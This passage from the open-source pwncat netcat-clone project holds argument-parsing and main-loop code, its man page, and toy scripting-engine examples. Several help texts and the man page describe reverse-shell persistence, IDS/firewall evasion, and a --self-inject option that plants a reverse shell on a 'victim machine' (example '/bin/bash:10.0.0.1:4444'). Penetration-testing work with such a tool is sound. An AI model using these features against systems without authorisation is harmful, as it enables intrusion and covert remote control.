    lmode.add_argument(
        "--rebind",
        metavar="x",
        nargs="?",
        type=int,
        default=0,
        help="""Listen mode (TCP and UDP):
If the server is unable to bind, it will re-initialize
itself x many times before giving up. Omit the
quantifier to rebind endlessly or specify a positive
integer for how many times to rebind before giving up.
See --rebind-robin for an interesting use-case.
(default: fail after first unsuccessful try).

""",
    )
    lmode.add_argument(
        "--rebind-wait",
        metavar="s",
        type=float,
        default=1.0,
        help="""Listen mode (TCP and UDP):
Wait x seconds between re-initialization. (default: 1)

""",
    )
    lmode.add_argument(
        "--rebind-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Listen mode (TCP and UDP):
If the server is unable to initialize (e.g: cannot bind
and --rebind is specified, it it will shuffle ports in
round-robin mode to bind to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --rebind to at least the number of ports to probe +1
This option requires --rebind to be specified.
""",
    )

    # --------------------------------------------------------------------------
    # Connect mode arguments
    # --------------------------------------------------------------------------
    cmode.add_argument(
        "--source-addr",
        metavar="addr",
        type=str,
        default=None,
        dest="source_addr",
        help="""Specify source bind IP address for connect mode.

""",
    )
    cmode.add_argument(
        "--source-port",
        metavar="port",
        type=ArgValidator.type_port,
        default=None,
        dest="source_port",
        help="""Specify source bind port for connect mode.

""",
    )
    cmode.add_argument(
        "--reconn",
        metavar="x",
        nargs="?",
        type=int,
        default=0,
        help="""Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted, the client will connect again x many
times before giving up. Omit the quantifier to retry
endlessly or specify a positive integer for how many
times to retry before giving up.
(default: quit if the remote is not available or the
connection was interrupted)
This might be handy for stable TCP reverse shells ;-)
Note on UDP:
By default UDP does not know if it is connected, so
it will stop at the first port and assume it has a
connection. Consider using --udp-sconnect with this
option to make UDP aware of a successful connection.

""",
    )
    cmode.add_argument(
        "--reconn-wait",
        metavar="s",
        type=float,
        default=1.0,
        help="""Connect mode (TCP and UDP):
Wait x seconds between re-connects. (default: 1)

""",
    )
    cmode.add_argument(
        "--reconn-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Connect mode (TCP and UDP):
If the remote server is not reachable or the connection
is interrupted and --reconn is specified, the client
will shuffle ports in round-robin mode to connect to.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Set --reconn to at least the number of ports to probe +1
This helps reverse shell to evade intrusiona prevention
systems that will cut your connection and block the
outbound port.
This is also useful in Connect or Zero-I/O mode to
figure out what outbound ports are allowed.

""",
    )
    cmode.add_argument(
        "--ping-init",
        action="store_true",
        default=False,
        help="""Connect mode (TCP and UDP):
UDP is a stateless protocol unlike TCP, so no hand-
shake communication takes place and the client just
sends data to a server without being "accepted" by
the server first.
This means a server waiting for an UDP client to
connect to, is unable to send any data to the client,
before the client hasn't send data first. The server
simply doesn't know the IP address before an initial
connect.
The --ping-init option instructs the client to send one
single initial ping packet to the server, so that it is
able to talk to the client.
This is a way to make a UDP reverse shell work.
See --ping-word for what char/string to send as initial
ping packet (default: '\\0')

""",
    )
    cmode.add_argument(
        "--ping-intvl",
        metavar="s",
        type=int,
        default=False,
        help="""Connect mode (TCP and UDP):
Instruct the client to send ping intervalls every s sec.
This allows you to restart your UDP server and just wait
for the client to report back in. This might be handy
for stable UDP reverse shells ;-)
See --ping-word for what char/string to send as initial
ping packet (default: '\\0')

""",
    )
    cmode.add_argument(
        "--ping-word",
        metavar="str",
        type=str,
        default="\0",
        help="""Connect mode (TCP and UDP):
Change the default character '\\0' to use for upd ping.
Single character or strings are supported.

""",
    )
    # TODO: Isn't this already covered by --reconn-robin or --zero
    # What should be the behaviour (keep connection or hop on?)
    cmode.add_argument(
        "--ping-robin",
        metavar="port",
        type=ArgValidator.type_port_list,
        default=[],
        help="""Connect mode (TCP and UDP):
Instruct the client to shuffle the specified ports in
round-robin mode for a remote server to ping.
This might be handy to scan outbound allowed ports.
Use comma separated string such as '80,81,82,83', a range
of ports '80-83' or an increment '80+3'.
Use --ping-intvl 0 to be faster.

""",
    )
    cmode.add_argument(
        "--udp-sconnect",
        action="store_true",
        default=False,
        help="""Connect mode (UDP only):
Emulating stateful behaviour for UDP connect phase by
sending an initial packet to the server to validate if
it is actually connected.
By default, UDP will simply issue a connect and is not
aware if it is really connected or not.
The default connect packet to be send is '\\0', you
can change this with --udp-sconnect-word.

""",
    )
    cmode.add_argument(
        "--udp-sconnect-word",
        nargs="?",
        metavar="str",
        type=str,
        default="\0",
        help="""Connect mode (UDP only):
Change the the data to be send for UDP stateful connect
behaviour. Note you can also omit the string to send an
empty packet (EOF), but be aware that some servers such
as netcat will instantly quit upon receive of an EOF
packet.
The default is to send a null byte sting: '\\0'.
""",
    )

    # --------------------------------------------------------------------------
    # Misc arguments
    # --------------------------------------------------------------------------
    misc.add_argument("-h", "--help", action="help", help="Show this help message and exit")
    misc.add_argument(
        "-V",
        "--version",
        action="version",
        version=get_version(),
        help="Show version information and exit",
    )

    # Retrieve arguments
    args = parser.parse_args()

    # Check mutually exclive arguments
    _args_check_mutually_exclusive(parser, args)

    # Only Zero-I/O mode allows multiple ports
    if not args.zero and len(args.port) > 1:
        parser.print_usage()
        print(
            "%s: error: Only Zero-I/O mode supports multiple ports" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # Connect mode and Zero-I/O mode require hostname and port to be set
    connect_mode = not (args.listen or args.zero or args.local or args.remote)
    if (connect_mode or args.zero or args.local) and not args.hostname:
        parser.print_usage()
        print(
            "%s: error: the following arguments are required: hostname" % (APPNAME),
            file=sys.stderr,
        )
        sys.exit(1)

    # Deny unimplemented modes
    if args.https:
        print("Unimplemented options", file=sys.stderr)
        sys.exit(1)

    return args


# #################################################################################################
# #################################################################################################
# ###
# ###   11 / 11   M A I N   E N T R Y P O I N T
# ###
# #################################################################################################
# #################################################################################################

# -------------------------------------------------------------------------------------------------
# [11/11 MAIN ENTRYPOINT]: (1/2) main
# -------------------------------------------------------------------------------------------------
def main():
    # type: () -> None
    """Run the program."""
    args = get_args()

    # Determine current mode
    mode = None
    if not (args.listen or args.local or args.remote or args.zero):
        mode = "connect"
        ports = [args.port[0]]
    elif args.listen:
        mode = "listen"
        ports = [args.port[0]]
    elif args.local:
        mode = "local"
        ports = [args.port[0]]
    elif args.remote:
        mode = "remote"
        ports = [args.port[0]]
    elif args.zero:
        mode = "scan"
        ports = args.port
    assert mode is not None

    host = args.hostname

    # No argument supplied --udp-sconnect-word to it
    if args.udp_sconnect_word is None:
        udp_sconnect_word = ""
    # --udp-sconnect-word not specified
    elif args.udp_sconnect_word == "":
        udp_sconnect_word = "\0"
    else:
        udp_sconnect_word = args.udp_sconnect_word

    reconn = -1 if args.reconn is None else args.reconn
    rebind = -1 if args.rebind is None else args.rebind

    # Set pwncat options
    sock_opts = DsIONetworkSock(
        RECV_BUFSIZE,
        LISTEN_BACKLOG,
        TIMEOUT_RECV_SOCKET,
        TIMEOUT_RECV_SOCKET_RETRY,
        args.nodns,
        args.ipv4,
        args.ipv6,
        args.source_addr,
        args.source_port,
        args.udp,
        True if args.zero else args.udp_sconnect,
        udp_sconnect_word,
        args.tos,
        args.info,
    )
    srv_opts = DsIONetworkSrv(args.keep_open, rebind, args.rebind_wait, args.rebind_robin)
    cli_opts = DsIONetworkCli(reconn, args.reconn_wait, args.reconn_robin)

    # Map pwncat verbosity to Python's Logger loglevel
    logmap = {
        0: logging.ERROR,
        1: logging.WARNING,
        2: logging.INFO,
        3: logging.DEBUG,
    }
    loglevel = logmap.get(args.verbose, TraceLogger.LEVEL_NUM)

    # Use a colored log formatter
    formatter = ColoredLogFormatter(args.color, loglevel)
    handler = logging.StreamHandler()
    handler.setLevel(loglevel)
    handler.setFormatter(formatter)

    # Use a custom logger with TRACE level
    logging.setLoggerClass(TraceLogger)
    logger = logging.getLogger(__name__)
    logger.setLevel(loglevel)
    logger.addHandler(handler)

    # Initialize encoder
    enc = StringEncoder()

    # Initialize interrupt handler
    ssig = InterruptHandler(args.keep_open, args.no_shutdown)

    # Initialize transformers
    transformers = []
    if args.safe_word is not None:
        transformers.append(TransformSafeword(DsTransformSafeword(ssig, args.safe_word)))
    if args.crlf is not None:
        transformers.append(TransformLinefeed(DsTransformLinefeed(args.crlf)))

    # Initialize scripting engine transformers
    code_send = None
    code_recv = None
    if args.script_send is not None:
        code_send = compile(args.script_send, "<script-send>", "exec")
    if args.script_recv is not None:
        code_recv = compile(args.script_recv, "<script-recv>", "exec")

    # Use command modulde
    if args.cmd:
        mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE))
    # Use output module
    else:
        mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof))

    # Run local port-forward
    # -> listen locally and forward traffic to remote (connect)
    if mode == "local":
        # Enure to re-connect forever during local port forward
        cli_opts.reconn = -1
        cli_opts.reconn_wait = 0.0
        srv_opts.keep_open = True
        lhost = args.local.split(":")[0]
        lport = int(args.local.split(":")[1])
        if not lhost:
            lhost = None
        # Create listen and client instances
        net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts)
        net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
        # Create Runner
        run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli]))
        run.add_action(
            "TRANSMIT",
            DsRunnerAction(
                DsCallableProducer(net_srv.producer),  # (recv) USER sends data to PC-SERVER
                net_cli.consumer,  # (send) Data parsed on to PC-CLIENT to send to TARGET
                [net_cli.interrupt, net_srv.interrupt],
                transformers,
                False,
                None,
            ),
        )
        run.add_action(
            "RECEIVE",
            DsRunnerAction(
                DsCallableProducer(net_cli.producer),  # (recv) Data back from TARGET to PC-CLIENT
                net_srv.consumer,  # (send) Data parsed on to PC-SERVER to back send to USER
                [net_cli.interrupt, net_srv.interrupt],
                transformers,
                False,
                None,
            ),
        )
        run.run()

    # Run remote port-forward
    # -> connect to client, connect to target and proxy traffic in between.
    if mode == "remote":
        # TODO: Make the listen address optional!
        # Enure to re-connect forever during remote port forward
        cli_opts.reconn = -1
        cli_opts.reconn_wait = 0.0
        lhost = args.remote.split(":")[0]
        lport = int(args.remote.split(":")[1])
        # Create local and remote client
        net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts)
        net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts)
        # Create Runner
        run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r]))
        run.add_action(
            "TRANSMIT",
            DsRunnerAction(
                DsCallableProducer(net_cli_l.producer),  # (recv) USER sends data to PC-SERVER
                net_cli_r.consumer,  # (send) Data parsed on to PC-CLIENT to send to TARGET
                [],
                transformers,
                False,
                None,
            ),
        )
        run.add_action(
            "RECEIVE",
            DsRunnerAction(
                DsCallableProducer(net_cli_r.producer),  # (recv) Data back from TARGET to PC-CLIENT
                net_cli_l.consumer,  # (send) Data parsed on to PC-SERVER to back send to USER
                [],
                transformers,
                False,
                None,
            ),
        )
        run.run()

    # Port Scan
    if mode == "scan":
        print("Scanning {} ports".format(len(ports)))
        net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts)
        run = Runner(ssig, True, PSEStore(ssig, [net]))
        for port in ports:
            run.add_action(
                "PORT-{}".format(port),
                DsRunnerAction(
                    DsCallableProducer(net.producer, port),  # Send port scans
                    net.consumer,  # Output results
                    [net.interrupt],
                    [],
                    True,
                    None,
                ),
            )
        run.run()

    # Run server
    if mode == "listen":
        net = IONetwork(
            ssig, enc, host, ports + args.rebind_robin, "server", srv_opts, cli_opts, sock_opts
        )
        # Run blocking auto-deploy.
        # This will hand over to normal listening server on success or failure
        if args.self_inject:
            cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":")
            cnc_ports = ArgValidator.get_port_list_from_string(cnc_port)
            CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports)

        if args.http:
            trans_recv = [TransformHttpUnpack({})] + transformers
            trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers
        else:
            trans_recv = transformers
            trans_send = transformers

        run = Runner(ssig, False, PSEStore(ssig, [net]))
        run.add_action(
            "RECV",
            DsRunnerAction(
                DsCallableProducer(net.producer),  # receive data
                mod.consumer,
                [net.interrupt],
                trans_recv,
                False,
                code_recv,
            ),
        )
        run.add_action(
            "STDIN",
            DsRunnerAction(
                DsCallableProducer(mod.producer),
                net.consumer,  # send data
                [mod.interrupt],
                trans_send,
                False,
                code_send,
            ),
        )
        run.run()

    # Run client
    if mode == "connect":
        net = IONetwork(
            ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts
        )

        if args.http:
            trans_recv = [TransformHttpUnpack({})] + transformers
            trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers
        else:
            trans_recv = transformers
            trans_send = transformers

        run = Runner(ssig, False, PSEStore(ssig, [net]))
        run.add_action(
            "RECV",
            DsRunnerAction(
                DsCallableProducer(net.producer),  # receive data
                mod.consumer,
                [net.interrupt],
                trans_recv,
                False,
                code_recv,
            ),
        )
        run.add_action(
            "STDIN",
            DsRunnerAction(
                DsCallableProducer(mod.producer),
                net.consumer,  # send data
                [mod.interrupt],
                trans_send,
                False,
                code_send,
            ),
        )
        if type(args.ping_intvl) is int and args.ping_intvl > 0:
            payload = StringEncoder.encode(args.ping_word)
            run.add_timer(
                "PING-INT",
                DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}),  # send data
            )
        if args.ping_init:
            payload = StringEncoder.encode(args.ping_word)
            run.add_repeater(
                "PING-REP",
                DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}),  # send data
            )
        run.run()


# -------------------------------------------------------------------------------------------------
# [11/11 MAIN ENTRYPOINT]: (2/2) start
# -------------------------------------------------------------------------------------------------
if __name__ == "pwncat":
    main()
pwncat-0.1.2/man/000077500000000000000000000000001414025024700135605ustar00rootroot00000000000000pwncat-0.1.2/man/pwncat.1000066400000000000000000000314521414025024700151430ustar00rootroot00000000000000.\" DO NOT MODIFY THIS FILE! It was generated by help2man 1.48.3. .TH PWNCAT: "1" "October 2021" "https://github.com/cytopia/pwncat" "User Commands" .SH NAME pwncat: \- pwncat .SH DESCRIPTION usage: pwncat [options] hostname port .IP pwncat [options] \fB\-l\fR [hostname] port pwncat [options] \fB\-z\fR hostname port pwncat [options] \fB\-L\fR [addr:]port hostname port pwncat [options] \fB\-R\fR addr:port hostname port pwncat \fB\-V\fR, \fB\-\-version\fR pwncat \fB\-h\fR, \fB\-\-help\fR .PP Enhanced and comptaible Netcat implementation written in Python (2 and 3) with connect, zero\-i/o, listen and forward modes and techniques to detect and evade firewalls and intrusion detection/prevention systems. .PP If no mode arguments are specified, pwncat will run in connect mode and act as a client to connect to a remote endpoint. If the connection to the remote endoint is lost, pwncat will quit. See options for how to automatically reconnect. .SS "positional arguments:" .TP hostname Address to listen, forward, scan or connect to. .TP port [All modes] Single port to listen, forward or connect to. [Zero\-I/O mode] Specify multiple ports to scan: Via list: 4444,4445,4446 Via range: 4444\-4446 Via incr: 4444+2 .SS "mode arguments:" .TP \fB\-l\fR, \fB\-\-listen\fR [Listen mode]: Start a server and listen for incoming connections. If using TCP and a connected client disconnects or the connection is interrupted otherwise, the server will quit. See \fB\-k\fR/\-\-keep\-open to change this behaviour. .TP \fB\-z\fR, \fB\-\-zero\fR [Zero\-I/0 mode]: Connect to a remote endpoint and report status only. Used for port scanning. See \fB\-\-banner\fR for version detection. .TP \fB\-L\fR [addr:]port, \fB\-\-local\fR [addr:]port [Local forward mode]: This mode will start a server and a client internally. The internal server will listen locally on specified addr/port (given by \fB\-\-local\fR [addr:]port). The server will then forward traffic to the internal client which connects to another server specified by hostname/port given via positional arguments. (I.e.: proxies a remote service to a local address) .TP \fB\-R\fR addr:port, \fB\-\-remote\fR addr:port [Remote forward mode]: This mode will start two clients internally. One is connecting to the target and one is connecting to another pwncat/netcat server you have started somewhere. Once connected, it will then proxy traffic between you and the target. This mode should be applied on machines that block incoming traffic and only allow outbound. The connection to your listening server is given by \fB\-R\fR/\-\-remote addr:port and the connection to the target machine via the positional arguments. .SS "optional arguments:" .TP \fB\-e\fR cmd, \fB\-\-exec\fR cmd Execute shell command. Only for connect or listen mode. .TP \fB\-C\fR lf, \fB\-\-crlf\fR lf Specify, 'lf', 'crlf' or 'cr' to always force replacing line endings for input and outout accordingly. Specify \&'no' to completely remove any line feeds. By default it will not replace anything and takes what is entered (usually CRLF on Windows, LF on Linux and some times CR on MacOS). .TP \fB\-n\fR, \fB\-\-nodns\fR Do not resolve DNS. .TP \fB\-\-send\-on\-eof\fR Buffer data received on stdin until EOF and send everything in one chunk. .TP \fB\-\-no\-shutdown\fR Do not shutdown into half\-duplex mode. If this option is passed, pwncat won't invoke shutdown on a socket after seeing EOF on stdin. This is provided for backward\-compatibility with OpenBSD netcat, which exhibits this behavior. .TP \fB\-v\fR, \fB\-\-verbose\fR Be verbose and print info to stderr. Use \fB\-v\fR, \fB\-vv\fR, \fB\-vvv\fR or \fB\-vvvv\fR for more verbosity. The server performance will decrease drastically if you use more than three times. .TP \fB\-\-info\fR type Show additional info about sockets, IPv4/6 or TCP opts applied to the current socket connection. Valid parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'. Note, you must at least be in INFO verbose mode in order to see them (\fB\-vv\fR). .TP \fB\-c\fR str, \fB\-\-color\fR str Colored log output. Specify 'always', 'never' or 'auto'. In 'auto' mode, color is displayed as long as the output goes to a terminal. If it is piped into a file, color will automatically be disabled. This mode also disables color on Windows by default. (default: auto) .TP \fB\-\-safe\-word\fR str All modes: If pwncat is started with this argument, it will shut down as soon as it receives the specified string. The \fB\-\-keep\-open\fR (server) or \fB\-\-reconn\fR (client) options will be ignored and it won't listen again or reconnect to you. Use a very unique string to not have it shut down accidentally by other input. .SS "protocol arguments:" .TP \fB\-4\fR Only Use IPv4 (default: IPv4 and IPv6 dualstack). .TP \fB\-6\fR Only Use IPv6 (default: IPv4 and IPv6 dualstack). .TP \fB\-u\fR, \fB\-\-udp\fR Use UDP for the connection instead of TCP. .TP \fB\-T\fR str, \fB\-\-tos\fR str Specifies IP Type of Service (ToS) for the connection. Valid values are the tokens 'mincost', 'lowcost', \&'reliability', 'throughput' or 'lowdelay'. .TP \fB\-\-http\fR Connect / Listen mode (TCP and UDP): Hide traffic in http packets to fool Firewalls/IDS/IPS. .TP \fB\-\-https\fR Connect / Listen mode (TCP and UDP): Hide traffic in https packets to fool Firewalls/IDS/IPS. .TP \fB\-H\fR [str ...], \fB\-\-header\fR [str ...] Add HTTP headers to your request when using \fB\-\-http\fR(s). .SS "command & control arguments:" .TP \fB\-\-self\-inject\fR cmd:host:port[s] Listen mode (TCP only): If you are about to inject a reverse shell onto the victim machine (via php, bash, nc, ncat or similar), start your listening server with this argument. This will then (as soon as the reverse shell connects) automatically deploy and background\-run an unbreakable pwncat reverse shell onto the victim machine which then also connects back to you with specified arguments. Example: '\-\-self\-inject /bin/bash:10.0.0.1:4444' It is also possible to launch multiple reverse shells by specifying multiple ports. Via list: \fB\-\-self\-inject\fR /bin/sh:10.0.0.1:4444,4445,4446 Via range: \fB\-\-self\-inject\fR /bin/sh:10.0.0.1:4444\-4446 Via incr: \fB\-\-self\-inject\fR /bin/sh:10.0.0.1:4444+2 Note: this is currently an experimental feature and does not work on Windows remote hosts yet. .SS "pwncat scripting engine:" .TP \fB\-\-script\-send\fR file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed before sending data to a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): .TP # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data .TP You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). .TP \fB\-\-script\-recv\fR file All modes (TCP and UDP): A Python scripting engine to define your own custom transformer function which will be executed after receiving data from a remote endpoint. Your file must contain the exact following function which will: be applied as the transformer: def transform(data, pse): .TP # NOTE: the function name must be 'transform' # NOTE: the function param name must be 'data' # NOTE: indentation must be 4 spaces # ... your transformations goes here return data .TP You can also define as many custom functions or classes within this file, but ensure to prefix them uniquely to not collide with pwncat's function or classes, as the file will be called with exec(). .SS "zero-i/o mode arguments:" .TP \fB\-\-banner\fR Zero\-I/O (TCP and UDP): Try banner grabbing during port scan. .SS "listen mode arguments:" .TP \fB\-k\fR, \fB\-\-keep\-open\fR Listen mode (TCP only): Re\-accept new clients in listen mode after a client has disconnected or the connection is interrupted otherwise. (default: server will quit after connection is gone) .TP \fB\-\-rebind\fR [x] Listen mode (TCP and UDP): If the server is unable to bind, it will re\-initialize itself x many times before giving up. Omit the quantifier to rebind endlessly or specify a positive integer for how many times to rebind before giving up. See \fB\-\-rebind\-robin\fR for an interesting use\-case. (default: fail after first unsuccessful try). .TP \fB\-\-rebind\-wait\fR s Listen mode (TCP and UDP): Wait x seconds between re\-initialization. (default: 1) .TP \fB\-\-rebind\-robin\fR port Listen mode (TCP and UDP): If the server is unable to initialize (e.g: cannot bind and \fB\-\-rebind\fR is specified, it it will shuffle ports in round\-robin mode to bind to. Use comma separated string such as '80,81,82,83', a range of ports '80\-83' or an increment '80+3'. Set \fB\-\-rebind\fR to at least the number of ports to probe +1 This option requires \fB\-\-rebind\fR to be specified. .SS "connect mode arguments:" .TP \fB\-\-source\-addr\fR addr Specify source bind IP address for connect mode. .TP \fB\-\-source\-port\fR port Specify source bind port for connect mode. .TP \fB\-\-reconn\fR [x] Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted, the client will connect again x many times before giving up. Omit the quantifier to retry endlessly or specify a positive integer for how many times to retry before giving up. (default: quit if the remote is not available or the connection was interrupted) This might be handy for stable TCP reverse shells ;\-) Note on UDP: By default UDP does not know if it is connected, so it will stop at the first port and assume it has a connection. Consider using \fB\-\-udp\-sconnect\fR with this option to make UDP aware of a successful connection. .TP \fB\-\-reconn\-wait\fR s Connect mode (TCP and UDP): Wait x seconds between re\-connects. (default: 1) .TP \fB\-\-reconn\-robin\fR port Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and \fB\-\-reconn\fR is specified, the client will shuffle ports in round\-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80\-83' or an increment '80+3'. Set \fB\-\-reconn\fR to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero\-I/O mode to figure out what outbound ports are allowed. .TP \fB\-\-ping\-init\fR Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no handshake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The \fB\-\-ping\-init\fR option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See \fB\-\-ping\-word\fR for what char/string to send as initial ping packet (default: '\e0') .TP \fB\-\-ping\-intvl\fR s Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;\-) See \fB\-\-ping\-word\fR for what char/string to send as initial ping packet (default: '\e0') .TP \fB\-\-ping\-word\fR str Connect mode (TCP and UDP): Change the default character '\e0' to use for upd ping. Single character or strings are supported. .TP \fB\-\-ping\-robin\fR port Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round\-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80\-83' or an increment '80+3'. Use \fB\-\-ping\-intvl\fR 0 to be faster. .TP \fB\-\-udp\-sconnect\fR Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\e0', you can change this with \fB\-\-udp\-sconnect\-word\fR. .TP \fB\-\-udp\-sconnect\-word\fR [str] Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\e0'. .SS "misc arguments:" .TP \fB\-h\fR, \fB\-\-help\fR Show this help message and exit .TP \fB\-V\fR, \fB\-\-version\fR Show version information and exit pwncat-0.1.2/pse/000077500000000000000000000000001414025024700135745ustar00rootroot00000000000000pwncat-0.1.2/pse/README.md000066400000000000000000000057641414025024700150670ustar00rootroot00000000000000# Pwncat Scripting Engine (PSE) The Pwncat Scripting Engine is a flexible way to apply your own transformations to incoming and outgoing traffic (or generally speaking to all sorts of I/O). ## Available PSE's This directory contains a few example scripts, which can be used with pwncat's scripting engine. These scripts currently only serve as a way to give you an idea about how this can be used.
PSE Description Python 2 Python 3
asym-enc Basic dummy asymmetric encryption for server/client communication. ✔ ✔
http-post Basic dummy HTTP POST packer and unpacker (hide your traffic in HTTP POST requests). ✔ ✔
chat-bot Basic dummy chat bot that wants you to greet it, tell it your name and will then ask you a couple of questions. ✔ ✔
## Usage The two command line arguments available are: 1. `--script-send`: which will apply the specified file prior sending data 2. `--script-recv`: which will apply the specified file after receiving data As an example to have the server apply some sort of transformation upon receive, you would start it like so: ```bash pwncat -l 4444 --script-recv /path/to/script.py ``` ## API General API documentation is available here: https://cytopia.github.io/pwncat/pwncat.api.html ### Entrypoint **Requirements:** The entrypoint function name must be `transform`, which takes two arguments (`data` which is a `str` containing the current input or output and `pse` which is a `PSEStore` instance) and return a string as its output. All you need to do is to create a Python file with the following function: ```python def transform(data, pse): # type: (str, PSEStore) -> str # ... here goes all the logic return data ``` ### data This is simply a string variable with the current input or output (depending on if the script was used by `--script-recv` or `--script-send`). ### pse This is an instance of `PSEStore` which gives you the possibility to persist data, exchange data between recv and send scripts, access the logger, the raw network and the signal handler. | Attribute | Type | Description | |-----------|------|-------------| | messages | `Dict[str, List[str]]` | Stores sent and received messages by its thread name. | | store | `Any` | Use this attribute to store your persistent data. | | ssig | `StopSignal` | StopSignal instance that allows you to call terminate on all threads. | | net | `List[IONetwork]` | List of all used network instances. Can be used to manipulate the active socket. | | log | `Logging.logger` | Logging instance to write your own log messages. | pwncat-0.1.2/pse/asym-enc/000077500000000000000000000000001414025024700153105ustar00rootroot00000000000000pwncat-0.1.2/pse/asym-enc/README.md000066400000000000000000000010011414025024700165570ustar00rootroot00000000000000# PSE: Asymmetric encryption The four scripts show-case a very basic asymmetric encryption example. ## Usage Use high verbosity to see how the data gets transformed. ### Server ```bash pwncat -vvvv -l localhost 4444 \ --script-send pse/asym-enc/pse-asym_enc-server_send.py \ --script-recv pse/asym-enc/pse-asym_enc-server_recv.py ``` ### Client ```bash pwncat -vvvv localhost 4444 \ --script-send pse/asym-enc/pse-asym_enc-client_send.py \ --script-recv pse/asym-enc/pse-asym_enc-client_recv.py ``` pwncat-0.1.2/pse/asym-enc/pse-asym_enc-client_recv.py000066400000000000000000000005431414025024700225420ustar00rootroot00000000000000"""PSE module to shift the ASCII number by 13.""" def transform(data, pse): """The transformer function.""" __PSE_ASYM_ENC_CLIENT_RECV_SHIFT = 13 output = [] for c in data: num = ord(c) + __PSE_ASYM_ENC_CLIENT_RECV_SHIFT while num > 127: num -= 127 output.append(chr(num)) return "".join(output) pwncat-0.1.2/pse/asym-enc/pse-asym_enc-client_send.py000066400000000000000000000005431414025024700225340ustar00rootroot00000000000000"""PSE module to shift the ASCII number by 14.""" def transform(data, pse): """The transformer function.""" __PSE_ASYM_ENC_CLIENT_SEND_SHIFT = 14 output = [] for c in data: num = ord(c) + __PSE_ASYM_ENC_CLIENT_SEND_SHIFT while num > 127: num -= 127 output.append(chr(num)) return "".join(output) pwncat-0.1.2/pse/asym-enc/pse-asym_enc-server_recv.py000066400000000000000000000005421414025024700225710ustar00rootroot00000000000000"""PSE module to shift the ASCII number by -14.""" def transform(data, pse): """The transformer function.""" __PSE_ASYM_ENC_SERVER_RECV_SHIFT = 14 output = [] for c in data: num = ord(c) - __PSE_ASYM_ENC_SERVER_RECV_SHIFT while num < 0: num += 127 output.append(chr(num)) return "".join(output) pwncat-0.1.2/pse/asym-enc/pse-asym_enc-server_send.py000066400000000000000000000005421414025024700225630ustar00rootroot00000000000000"""PSE module to shift the ASCII number by -13.""" def transform(data, pse): """The transformer function.""" __PSE_ASYM_ENC_SERVER_SEND_SHIFT = 13 output = [] for c in data: num = ord(c) - __PSE_ASYM_ENC_SERVER_SEND_SHIFT while num < 0: num += 127 output.append(chr(num)) return "".join(output) pwncat-0.1.2/pse/chat-bot/000077500000000000000000000000001414025024700152755ustar00rootroot00000000000000pwncat-0.1.2/pse/chat-bot/README.md000066400000000000000000000017521414025024700165610ustar00rootroot00000000000000# PSE: Chat bot A simple script that makes the remote peer site behave like a bot replying to your questions. ## Usage Use high verbosity to see how the data gets transformed. ### Server **Note:** The server side is using `/bin/cat` as its command in order to echo the messages back to the client. Then we hook into the sending part and simply overwrite the replies based on the received input. ```bash pwncat -vvvv -l localhost 4444 \ --exec /bin/cat \ --script-send pse/chat-bot/pse-chat_bot.py ``` ### Client ```bash pwncat localhost 4444 ``` ### In action The following shows it in action. `>` represents sending data to the server and `<` are the replies. ``` > some data < Be polite and greet first. > hi < Nice to meet you, what is your name? > cytopia < OK, I call you: cytopia > that's right < Hi cytopia, How is the weather? > it's pretty good < Hi cytopia, Why are you chatting to a bot? > I don't know < Hi cytopia, Are you bored? > Maybe < Hi cytopia, Have you had dinner? ``` 